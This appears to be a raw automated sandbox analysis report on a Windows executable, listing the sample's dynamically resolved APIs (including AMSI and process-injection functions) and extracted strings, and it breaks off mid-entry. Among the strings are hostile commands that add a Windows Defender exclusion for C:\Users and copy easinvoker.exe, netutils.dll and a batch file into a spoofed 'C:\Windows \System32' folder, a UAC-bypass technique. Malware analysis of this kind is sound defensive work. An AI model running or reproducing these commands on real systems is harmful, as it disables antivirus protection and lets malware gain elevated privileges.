"0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter UninitializeFlatSB (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollProp (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollProp (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlatSB_EnableScrollBar (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlatSB_ShowScrollBar (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollRange (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollInfo (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollPos (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollPos (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollInfo (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollRange (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter SetLayeredWindowAttributes (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CoAddRefServerProcess (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CoReleaseServerProcess (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CoResumeClassObjects (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CoSuspendClassObjects (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter OleIconToCursor (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter OleCreateFontIndirect (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter OleCreatePictureIndirect (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter OleLoadPicture (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter OleTranslateColor (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter OleCreatePropertyFrame (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter OleCreatePropertyFrameIndirect (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter DrawThemeText (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeBackgroundContentRect (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemePartSize (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeTextExtent (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeTextMetrics (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeBackgroundRegion (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter HitTestThemeBackground (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter DrawThemeEdge (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter DrawThemeIcon (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter IsThemePartDefined (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter IsThemeBackgroundPartiallyTransparent (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeColor (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeMetric (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeString (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeInt (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeEnumValue (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemePosition (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeFont (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeRect (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeMargins (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeIntList (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemePropertyOrigin (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter SetWindowTheme (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeFilename (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeSysColor (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeSysColorBrush (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeSysBool (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeSysSize (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeSysFont (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeSysString (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeSysInt (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter IsThemeActive (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetWindowTheme (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter EnableThemeDialogTexture (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter IsThemeDialogTextureEnabled (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeAppProperties (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter SetThemeAppProperties (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetCurrentThemeName (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter GetThemeDocumentationProperty (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter DrawThemeParentBackground (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter EnableTheming (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter archivewrite_set_format_filter_by_ext (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter OpenURLA (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter AmsiUacScan (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter AmsiUacInitialize (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter DllGetActivationFactory (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CryptSIPGetRegWorkingFlags (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter TrustOpenStores (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter WintrustAddActionID (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter FindCertsByIssuer (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CryptSIPGetInfo (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CryptSIPVerifyIndirectData (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter CryptSIPGetSignedDataMsg (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter BCryptVerifySignature (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter BCryptQueryProviderRegistration (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter BCryptRegisterProvider (UID: 00000000-00007408) "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "GetProcAddress" with a parameter DllRegisterServer (UID: 00000000-00007408)36:T7f7,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "CreateProcessAsUserA" (Indicator: "CreateProcess"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "CreateProcessAsUserW" (Indicator: "CreateProcess"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "CreateProcessWithLogonW" (Indicator: "CreateProcess"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "NtCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp")37:T847,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "NtOpenFile" (Indicator: "NtOpenFile"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "NtOpenFile" (Indicator: "NtOpenFile"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000000.95569.7F2E0000.00000004.mdmp, 00000000-00007408.00000001.97489.00401000.00000020.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F010000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7E950000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "NtCreateFile" (Indicator: "CreateFile"; Source: "00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "NtCreateFile" (Indicator: "NtCreateFile"; Source: "00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp")38:T854,Found string "cmd.exe /c start /min powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'" & exit" (Indicator: "cmd.exe /c"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found string "cmd.exe /c mkdir "\\?\C:\Windows "" (Indicator: "cmd.exe /c"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found string "cmd.exe /c mkdir "\\?\C:\Windows \System32"" (Indicator: "cmd.exe /c"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found string "cmd.exe /c ECHO F|xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y" (Indicator: "cmd.exe /c"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found string "cmd.exe /c ECHO F|xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y" (Indicator: "cmd.exe /c"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found string "cmd.exe /c ECHO F|xcopy "KDECO.bat" "C:\Windows \System32\" /K /D /H /Y" (Indicator: "cmd.exe /c"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp")39:Tc29,Found reference to API "LockResource" (Indicator: "LockResource"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp")3a:T869,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "NtAlertResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "SxTracerGetThreadContextDebug" (Indicator: "GetThreadContext"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000002.99408.065F1000.00000020.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp") Found reference to API "NtResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp, 00000000-00007408.00000002.99408.7F110000.00000004.mdmp")3b:T500,Found reference to API "ShowWindow" (Indicator: "ShowWindow"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "GetWindowThreadProcessId" (Indicator: "GetWindowThreadProcessId"; File: "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe") Found reference to API "ShowWindow" (Indicator: "ShowWindow"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp") Found reference to API "GetWindowThreadProcessId" (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00007408.00000000.95569.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.04960000.00000004.mdmp, 00000000-00007408.00000001.97489.0ECB0000.00000004.mdmp, 00000000-00007408.00000001.97489.7E920000.00000004.mdmp, 00000000-00007408.00000001.97489.7F360000.00000004.mdmp, 00000000-00007408.00000002.99408.0ECB0000.00000004.mdmp, 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp")3c:T12d3,"SOFTWARE\Borland\Delphi\RTL" in Source: 0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe "Software\Borland\Locales" in Source: 0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe "Software\Borland\Delphi\Locales" in Source: 0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe "SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes" in Source: 0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe "\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\" in Source: 